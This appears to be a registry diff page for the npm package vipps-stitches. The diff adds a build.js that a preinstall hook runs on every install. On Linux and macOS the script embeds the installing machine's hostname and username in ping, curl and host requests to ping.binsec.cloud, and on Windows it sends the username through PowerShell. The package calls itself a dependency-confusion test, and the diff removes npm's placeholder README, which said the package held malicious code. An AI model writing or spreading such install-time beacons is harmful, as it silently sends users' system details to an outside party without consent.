vipps-stitches 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of vipps-stitches might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/build.js +28 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/build.js ADDED
@@ -0,0 +1,28 @@
1
+ var exec = require('child_process').exec;
2
+ var os = require('os');
3
+
4
+ domain = "ping.binsec.cloud";
5
+
6
+ // Run command depending on the OS
7
+ if (os.type() === 'Linux'){
8
+ exec(`ping -c 1 osx.$(hostname).$(whoami).${domain}`);
9
+ exec(`curl https://${domain}/ping?id=dependencyconfusion-$(hostname).$(whoami)`);
10
+ exec(`host osx.$(hostname).$(whoami).${domain}`);
11
+ }
12
+ else if (os.type() === 'Darwin'){
13
+ exec(`ping -c 1 osx.$(hostname).$(whoami).${domain}`);
14
+ exec(`curl https://${domain}/ping?id=dependencyconfusion-$(hostname).$(whoami)`);
15
+ exec(`host osx.$(hostname).$(whoami).${domain}`);
16
+ }
17
+ else if (os.type() === 'Windows_NT') {
18
+ exec(`ping -n 1 windows.${domain}`);
19
+ exec(`nslookup windows.${domain}`);
20
+ exec(`powershell $cmd = whoami; wget https://${domain}/ping?id=dependencyconfusion-$cmd`);
21
+ exec(`powershell $cmd = whoami; curl https://${domain}/ping?id=dependencyconfusion-$cmd`);
22
+ }
23
+ else {
24
+ exec(`ping ${domain}`);
25
+ exec(`curl https://${domain}/ping?id=dependencyconfusion`);
26
+ exec(`nslookup ${domain}`);
27
+ exec(`host ${domain}`);
28
+ }
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "vipps-stitches",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "This package is a test package used to prove dependency confusion. All it does is perform a DNS lookup.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node build.js && exit 0"
8
+ },
9
+ "author": "Binary Security",
10
+ "license": "MIT"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=vipps-stitches for more information.